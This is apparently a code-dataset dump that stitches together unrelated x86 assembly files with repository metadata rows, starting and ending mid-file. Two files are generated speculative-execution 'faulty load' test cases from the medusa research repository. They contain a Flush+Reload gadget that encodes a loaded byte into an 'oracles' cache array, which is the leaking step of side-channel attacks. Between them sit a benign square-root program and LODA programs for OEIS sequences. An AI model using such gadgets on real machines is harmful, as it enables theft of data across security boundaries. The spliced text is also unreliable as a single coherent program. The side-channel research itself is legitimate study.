lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 8, 'size': 2, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'00': 11059}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 41.584615 | 2,999 | 0.655198 |
d3d9ba9aac3b3a79f0e752f8341050175e14f5c5 | 7,310 | asm | Assembly | samples/sqrt.asm | fmodesto/sc | 9af97ccef8fc6ad205a07696c89fc296a8b13da2 | [
"MIT"
] | 1 | 2021-01-10T11:08:00.000Z | 2021-01-10T11:08:00.000Z | samples/sqrt.asm | fmodesto/sc | 9af97ccef8fc6ad205a07696c89fc296a8b13da2 | [
"MIT"
] | null | null | null | samples/sqrt.asm | fmodesto/sc | 9af97ccef8fc6ad205a07696c89fc296a8b13da2 | [
"MIT"
] | null | null | null | .org $FFE
screen_H:
.byte 0
.org $FFF
screen_L:
.byte 0
.org $000
jsr main
_end_program_:
jmp _end_program_
mul16_return_H:
.byte 0
mul16_return_L:
.byte 0
mul16_a_H:
.byte 0
mul16_a_L:
.byte 0
mul16_b_H:
.byte 0
mul16_b_L:
.byte 0
mul16_res_H:
.byte 0
mul16_res_L:
.byte 0
mul16_flag_H:
.byte 0
mul16_flag_L:
.byte 0
mul16_0:
.byte 0
mul16_1:
.byte 0
sqrt_return_H:
.byte 0
sqrt_return_L:
.byte 0
sqrt_x_H:
.byte 0
sqrt_x_L:
.byte 0
sqrt_left_H:
.byte 0
sqrt_left_L:
.byte 0
sqrt_right_H:
.byte 0
sqrt_right_L:
.byte 0
sqrt_mid_H:
.byte 0
sqrt_mid_L:
.byte 0
sqrt_res_H:
.byte 0
sqrt_res_L:
.byte 0
sqrt_0:
.byte 0
sqrt_1:
.byte 0
main_i_H:
.byte 0
main_i_L:
.byte 0
main_j_H:
.byte 0
main_j_L:
.byte 0
mul16: ; .FUNCTION mul16
lda #$01 ; MOV mul16_flag_H:mul16_flag_L,#$00:#$01
sta mul16_flag_L
lda #$00
sta mul16_flag_H
lda #$00 ; MOV mul16_res_H:mul16_res_L,#$00:#$00
sta mul16_res_L
lda #$00
sta mul16_res_H
mul16_vm_0: ; .LABEL mul16_vm_0
lda mul16_flag_L ; JZ mul16_vm_1,mul16_flag_H:mul16_flag_L
ora mul16_flag_H
jeq mul16_vm_1
lda mul16_b_L ; AND mul16_0:mul16_1,mul16_flag_H:mul16_flag_L,mul16_b_H:mul16_b_L
and mul16_flag_L
sta mul16_1
lda mul16_b_H
and mul16_flag_H
sta mul16_0
lda mul16_1 ; JZ mul16_vm_3,mul16_0:mul16_1
ora mul16_0
jeq mul16_vm_3
lda mul16_a_L ; ADD mul16_res_H:mul16_res_L,mul16_res_H:mul16_res_L,mul16_a_H:mul16_a_L
add mul16_res_L
sta mul16_res_L
jcs mul16_asm_0
lda mul16_a_H
jmp mul16_asm_1
mul16_asm_0:
lda mul16_a_H
add #1
mul16_asm_1:
add mul16_res_H
sta mul16_res_H
mul16_vm_3: ; .LABEL mul16_vm_3
lda mul16_a_L ; SHL mul16_a_H:mul16_a_L,mul16_a_H:mul16_a_L,#$01
shl
sta mul16_a_L
jcs mul16_asm_2
lda mul16_a_H
shl
jmp mul16_asm_3
mul16_asm_2:
lda mul16_a_H
shl
ora #1
mul16_asm_3:
sta mul16_a_H
lda mul16_flag_L ; SHL mul16_flag_H:mul16_flag_L,mul16_flag_H:mul16_flag_L,#$01
shl
sta mul16_flag_L
jcs mul16_asm_4
lda mul16_flag_H
shl
jmp mul16_asm_5
mul16_asm_4:
lda mul16_flag_H
shl
ora #1
mul16_asm_5:
sta mul16_flag_H
jmp mul16_vm_0 ; JMP mul16_vm_0
mul16_vm_1: ; .LABEL mul16_vm_1
lda mul16_res_L ; MOV mul16_return_H:mul16_return_L,mul16_res_H:mul16_res_L
sta mul16_return_L
lda mul16_res_H
sta mul16_return_H
mul16_end: ; .LABEL mul16_end
ret mul16 ; .ENDFUNCTION mul16
sqrt: ; .FUNCTION sqrt
lda sqrt_x_H ; LT sqrt_0,sqrt_x_H:sqrt_x_L,#$00:#$02
xor #$00
jlt sqrt_asm_0
lda sqrt_x_H
sub #$00
jlt sqrt_asm_1
jne sqrt_asm_2
lda sqrt_x_L
sub #$02
jnc sqrt_asm_1
lda #0
jmp sqrt_asm_3
sqrt_asm_0:
lda sqrt_x_H
jlt sqrt_asm_1
sqrt_asm_2:
lda #0
jmp sqrt_asm_3
sqrt_asm_1:
lda #1
sqrt_asm_3:
sta sqrt_0
lda sqrt_0 ; JZ sqrt_vm_1,sqrt_0
jeq sqrt_vm_1
lda sqrt_x_L ; MOV sqrt_return_H:sqrt_return_L,sqrt_x_H:sqrt_x_L
sta sqrt_return_L
lda sqrt_x_H
sta sqrt_return_H
jmp sqrt_end ; JMP sqrt_end
sqrt_vm_1: ; .LABEL sqrt_vm_1
lda #$00 ; MOV sqrt_left_H:sqrt_left_L,#$00:#$00
sta sqrt_left_L
lda #$00
sta sqrt_left_H
lda #$B5 ; MOV sqrt_right_H:sqrt_right_L,#$00:#$B5
sta sqrt_right_L
lda #$00
sta sqrt_right_H
lda #$00 ; MOV sqrt_res_H:sqrt_res_L,#$00:#$00
sta sqrt_res_L
lda #$00
sta sqrt_res_H
sqrt_vm_2: ; .LABEL sqrt_vm_2
lda sqrt_left_H ; LTE sqrt_0,sqrt_left_H:sqrt_left_L,sqrt_right_H:sqrt_right_L
xor sqrt_right_H
jlt sqrt_asm_4
lda sqrt_left_H
sub sqrt_right_H
jlt sqrt_asm_5
jne sqrt_asm_6
lda sqrt_left_L
sub sqrt_right_L
jnc sqrt_asm_5
jeq sqrt_asm_5
lda #0
jmp sqrt_asm_7
sqrt_asm_4:
lda sqrt_left_H
jlt sqrt_asm_5
sqrt_asm_6:
lda #0
jmp sqrt_asm_7
sqrt_asm_5:
lda #1
sqrt_asm_7:
sta sqrt_0
lda sqrt_0 ; JZ sqrt_vm_3,sqrt_0
jeq sqrt_vm_3
lda sqrt_right_L ; ADD sqrt_0:sqrt_1,sqrt_left_H:sqrt_left_L,sqrt_right_H:sqrt_right_L
add sqrt_left_L
sta sqrt_1
jcs sqrt_asm_8
lda sqrt_right_H
jmp sqrt_asm_9
sqrt_asm_8:
lda sqrt_right_H
add #1
sqrt_asm_9:
add sqrt_left_H
sta sqrt_0
lda sqrt_0 ; SHR sqrt_mid_H:sqrt_mid_L,sqrt_0:sqrt_1,#$01
shr
sta sqrt_mid_H
jcs sqrt_asm_10
lda sqrt_1
shr
jmp sqrt_asm_11
sqrt_asm_10:
lda sqrt_1
shr
ora #$80
sqrt_asm_11:
sta sqrt_mid_L
lda sqrt_mid_L ; MUL sqrt_0:sqrt_1,sqrt_mid_H:sqrt_mid_L,sqrt_mid_H:sqrt_mid_L
sta mul16_b_L
lda sqrt_mid_H
sta mul16_b_H
lda sqrt_mid_L
sta mul16_a_L
lda sqrt_mid_H
sta mul16_a_H
jsr mul16
lda mul16_return_L
sta sqrt_1
lda mul16_return_H
sta sqrt_0
lda sqrt_0 ; LTE sqrt_1,sqrt_0:sqrt_1,sqrt_x_H:sqrt_x_L
xor sqrt_x_H
jlt sqrt_asm_12
lda sqrt_0
sub sqrt_x_H
jlt sqrt_asm_13
jne sqrt_asm_14
lda sqrt_1
sub sqrt_x_L
jnc sqrt_asm_13
jeq sqrt_asm_13
lda #0
jmp sqrt_asm_15
sqrt_asm_12:
lda sqrt_0
jlt sqrt_asm_13
sqrt_asm_14:
lda #0
jmp sqrt_asm_15
sqrt_asm_13:
lda #1
sqrt_asm_15:
sta sqrt_1
lda sqrt_1 ; JZ sqrt_vm_4,sqrt_1
jeq sqrt_vm_4
lda #$01 ; ADD sqrt_left_H:sqrt_left_L,sqrt_mid_H:sqrt_mid_L,#$00:#$01
add sqrt_mid_L
sta sqrt_left_L
jcs sqrt_asm_16
lda #$00
jmp sqrt_asm_17
sqrt_asm_16:
lda #$00
add #1
sqrt_asm_17:
add sqrt_mid_H
sta sqrt_left_H
lda sqrt_mid_L ; MOV sqrt_res_H:sqrt_res_L,sqrt_mid_H:sqrt_mid_L
sta sqrt_res_L
lda sqrt_mid_H
sta sqrt_res_H
jmp sqrt_vm_5 ; JMP sqrt_vm_5
sqrt_vm_4: ; .LABEL sqrt_vm_4
lda sqrt_mid_L ; SUB sqrt_right_H:sqrt_right_L,sqrt_mid_H:sqrt_mid_L,#$00:#$01
sub #$01
sta sqrt_right_L
jcs sqrt_asm_18
lda #$00
xor #$FF
add sqrt_mid_H
jmp sqrt_asm_19
sqrt_asm_18:
lda sqrt_mid_H
sub #$00
sqrt_asm_19:
sta sqrt_right_H
sqrt_vm_5: ; .LABEL sqrt_vm_5
jmp sqrt_vm_2 ; JMP sqrt_vm_2
sqrt_vm_3: ; .LABEL sqrt_vm_3
lda sqrt_res_L ; MOV sqrt_return_H:sqrt_return_L,sqrt_res_H:sqrt_res_L
sta sqrt_return_L
lda sqrt_res_H
sta sqrt_return_H
sqrt_end: ; .LABEL sqrt_end
ret sqrt ; .ENDFUNCTION sqrt
main: ; .FUNCTION main
lda #$01 ; MOV main_i_H:main_i_L,#$00:#$01
sta main_i_L
lda #$00
sta main_i_H
main_vm_0: ; .LABEL main_vm_0
lda main_i_L ; JZ main_vm_1,main_i_H:main_i_L
ora main_i_H
jeq main_vm_1
lda main_i_L ; MOV sqrt_x_H:sqrt_x_L,main_i_H:main_i_L
sta sqrt_x_L
lda main_i_H
sta sqrt_x_H
jsr sqrt ; CALL sqrt
lda sqrt_return_L ; MOV main_j_H:main_j_L,sqrt_return_H:sqrt_return_L
sta main_j_L
lda sqrt_return_H
sta main_j_H
lda main_j_L ; MOV screen_H:screen_L,main_j_H:main_j_L
sta screen_L
lda main_j_H
sta screen_H
lda #$01 ; ADD main_i_H:main_i_L,main_i_H:main_i_L,#$00:#$01
add main_i_L
sta main_i_L
jcs main_asm_0
lda #$00
jmp main_asm_1
main_asm_0:
lda #$00
add #1
main_asm_1:
add main_i_H
sta main_i_H
jmp main_vm_0 ; JMP main_vm_0
main_vm_1: ; .LABEL main_vm_1
main_end: ; .LABEL main_end
ret main ; .ENDFUNCTION main
| 20.885714 | 103 | 0.695349 |
f25d9acd0dd547fa0d57c04626209331175d034b | 400 | asm | Assembly | programs/oeis/182/A182582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/182/A182582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/182/A182582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A182582: a(n) = (A096268(n) + A182581(n)) mod 2.
; 0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1
cal $0,169611 ; Number of prime divisors of n that are not greater than 3, counted with multiplicity.
lpb $0,1
sub $0,2
lpe
mov $1,$0
| 44.444444 | 211 | 0.5775 |
fc1dcb9e54f0109357db4531b6c36ec4effa2a75 | 1,018 | asm | Assembly | programs/oeis/003/A003165.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/003/A003165.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/003/A003165.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A003165: a(n) = floor(n/2) + 1 - d(n), where d(n) is the number of divisors of n.
; 0,0,0,0,1,0,2,1,2,2,4,1,5,4,4,4,7,4,8,5,7,8,10,5,10,10,10,9,13,8,14,11,13,14,14,10,17,16,16,13,19,14,20,17,17,20,22,15,22,20,22,21,25,20,24,21,25,26,28,19,29,28,26,26,29,26,32,29,31,28,34,25,35,34,32,33,35,32,38,31,36,38,40,31,39,40,40,37,43,34,42,41,43,44,44,37,47,44,44,42,49,44,50,45,45,50,52,43,53,48,52,47,55,50,54,53,53,56,56,45,58,58,58,57,59,52,62,57,61,58,64,55,63,64,60,61,67,62,68,59,67,68,68,58,69,70,68,69,73,64,74,69,71,70,74,67,77,76,76,69,77,72,80,77,75,80,82,69,82,78,80,81,85,80,82,79,85,86,88,73,89,84,88,85,89,86,90,89,87,88,94,83,95,94,90,90,97,88,98,89,97,98,98,91,99,100,98,95,101,90,104,101,103,104,104,93,105,106,106,99,107,104,110,101,104,110,112,103,113,108,108,109,115,106,114,113,115,112,118,101,119,116,116,117,117,116,120,117,121,118
mov $2,1
add $2,$0
div $2,2
mov $3,$2
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
mov $1,2
add $3,1
sub $3,$0
add $1,$3
sub $1,2
| 72.714286 | 766 | 0.651277 |
909e695ed0a708b2ea0062320909f6af9f10e655 | 401 | asm | Assembly | programs/oeis/273/A273053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/273/A273053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/273/A273053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A273053: Numbers n such that 15*n^2 + 16 is a square.
; 0,4,32,252,1984,15620,122976,968188,7622528,60012036,472473760,3719778044,29285750592,230566226692,1815244062944,14291386276860,112515846151936,885835382938628,6974167217357088,54907502355918076
mul $0,2
mov $3,2
lpb $0,1
sub $0,2
add $3,$2
mov $2,$3
mul $3,2
add $1,$3
add $2,3
add $2,$1
sub $2,3
add $2,$1
mov $3,$1
lpe
| 22.277778 | 196 | 0.700748 |
092229dd639139547a4f9ecbd17e3df4e7813058 | 2,121 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_121_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_121_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_121_328.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rbp
push %rcx
lea addresses_normal_ht+0x176ff, %r12
clflush (%r12)
nop
xor %r13, %r13
movw $0x6162, (%r12)
nop
nop
and $40181, %r10
lea addresses_A_ht+0x1e3af, %rcx
add %r10, %r10
movw $0x6162, (%rcx)
add $3833, %r12
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
// Store
mov $0xc9f, %rsi
add %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm4
vmovups %ymm4, (%rsi)
nop
nop
nop
nop
nop
sub %r15, %r15
// Load
mov $0xa17, %r10
nop
nop
nop
xor %r15, %r15
mov (%r10), %r11
xor $49870, %rsi
// Faulty Load
lea addresses_RW+0x14f6f, %r10
nop
nop
nop
cmp %rbx, %rbx
mov (%r10), %r15d
lea oracles, %r10
and $0xff, %r15
shlq $12, %r15
mov (%r10,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'32': 121}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 22.326316 | 362 | 0.641678 |
6873c08b10525552b84c78e7b3c89f1ad630441c | 394 | asm | Assembly | programs/oeis/080/A080150.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/080/A080150.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/080/A080150.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A080150: Let m = Wonderful Demlo number A002477(n); a(n) = square of the sum of digits of m.
; 1,16,81,256,625,1296,2401,4096,6561,6724,7225,8100,9409,11236,13689,16900,21025,26244,26569,27556,29241,31684,34969,39204,44521,51076,59049,59536,61009,63504,67081,71824,77841,85264,94249,104976,105625
seq $0,80151 ; Let m = Wonderful Demlo number A002477(n); a(n) = sum of digits of m.
pow $0,2
| 65.666667 | 203 | 0.743655 |
e67a642c5903a8e76ece94aa2e8c0e0647afe01f | 856 | asm | Assembly | programs/oeis/014/A014991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/014/A014991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/014/A014991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A014991: a(n) = (1 - (-9)^n)/10.
; 1,-8,73,-656,5905,-53144,478297,-4304672,38742049,-348678440,3138105961,-28242953648,254186582833,-2287679245496,20589113209465,-185302018885184,1667718169966657,-15009463529699912,135085171767299209,-1215766545905692880,10941898913151235921,-98477090218361123288,886293811965250109593,-7976644307687250986336,71789798769185258877025,-646108188922667329893224,5814973700304005969039017,-52334763302736053721351152,471012869724624483492160369,-4239115827521620351429443320,38152042447694583162864989881,-343368382029251248465784908928,3090315438263261236192064180353,-27812838944369351125728577623176,250315550499324160131557198608585,-2252839954493917441184014787477264,20275559590445256970656133087295377,-182480036314007312735905197785658392
add $0,1
lpb $0
sub $0,1
sub $1,9
mul $1,-9
lpe
div $1,81
mov $0,$1
| 71.333333 | 745 | 0.863318 |
e22a202711d2db74949203fd5ec770086381d030 | 556 | asm | Assembly | oeis/329/A329178.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/329/A329178.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/329/A329178.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A329178: Sum of the products of pairs of Padovan numbers which are two apart, starting from A000931(5).
; Submitted by Christian Krause
; 1,3,5,11,19,34,62,107,191,335,587,1035,1812,3184,5589,9803,17213,30199,52999,93014,163214,286439,502655,882095,1547991,2716503,4767160,8365776,14680889,25763219,45211237,79340227,139232411,244335770,428779502,752455475
mov $3,2
mov $4,$0
lpb $3
mov $0,$4
add $1,1
sub $3,1
add $0,$3
add $0,2
seq $0,134816 ; Padovan's spiral numbers.
sub $0,1
add $2,1
mul $2,$0
add $1,$2
lpe
mov $0,$1
sub $0,2
| 26.47619 | 220 | 0.708633 |
5b877de46192c7850c205884fc00d9f76a80fa90 | 8,841 | asm | Assembly | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_1362.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_1362.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_un_xt_sm_/i9-9900K_12_0xa0.log_21829_1362.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1552d, %r11
nop
nop
and %rsi, %rsi
mov (%r11), %r12d
nop
nop
nop
sub $53117, %r14
lea addresses_A_ht+0x661d, %rdx
and $11165, %r8
mov $0x6162636465666768, %rax
movq %rax, %xmm0
movups %xmm0, (%rdx)
nop
nop
and $31000, %rdx
lea addresses_UC_ht+0x1ba2d, %r8
and %rdx, %rdx
movl $0x61626364, (%r8)
add $24518, %rax
lea addresses_WC_ht+0x1682d, %rsi
lea addresses_WC_ht+0xdf0d, %rdi
nop
nop
nop
nop
sub %r12, %r12
mov $70, %rcx
rep movsl
add %rax, %rax
lea addresses_normal_ht+0x3fee, %r14
nop
nop
nop
nop
nop
cmp %r12, %r12
vmovups (%r14), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rax
nop
nop
nop
nop
nop
and %r11, %r11
lea addresses_normal_ht+0xa223, %rsi
lea addresses_D_ht+0xccd1, %rdi
add %r11, %r11
mov $53, %rcx
rep movsq
nop
xor $2676, %r12
lea addresses_normal_ht+0xcf2d, %rsi
lea addresses_D_ht+0x9d4d, %rdi
clflush (%rsi)
nop
nop
dec %r8
mov $26, %rcx
rep movsb
nop
sub $46368, %r11
lea addresses_WC_ht+0xbd0d, %r14
nop
nop
add $22225, %r12
mov (%r14), %si
nop
cmp %r11, %r11
lea addresses_D_ht+0xf42d, %r12
nop
nop
nop
xor $59652, %rax
mov (%r12), %r8
nop
sub %r14, %r14
lea addresses_WC_ht+0x23ed, %rsi
lea addresses_WC_ht+0x1e794, %rdi
nop
nop
nop
nop
nop
cmp $17605, %r12
mov $17, %rcx
rep movsw
nop
nop
nop
nop
sub %r14, %r14
lea addresses_normal_ht+0x1bd2d, %rsi
lea addresses_WC_ht+0xdeed, %rdi
nop
dec %r8
mov $122, %rcx
rep movsl
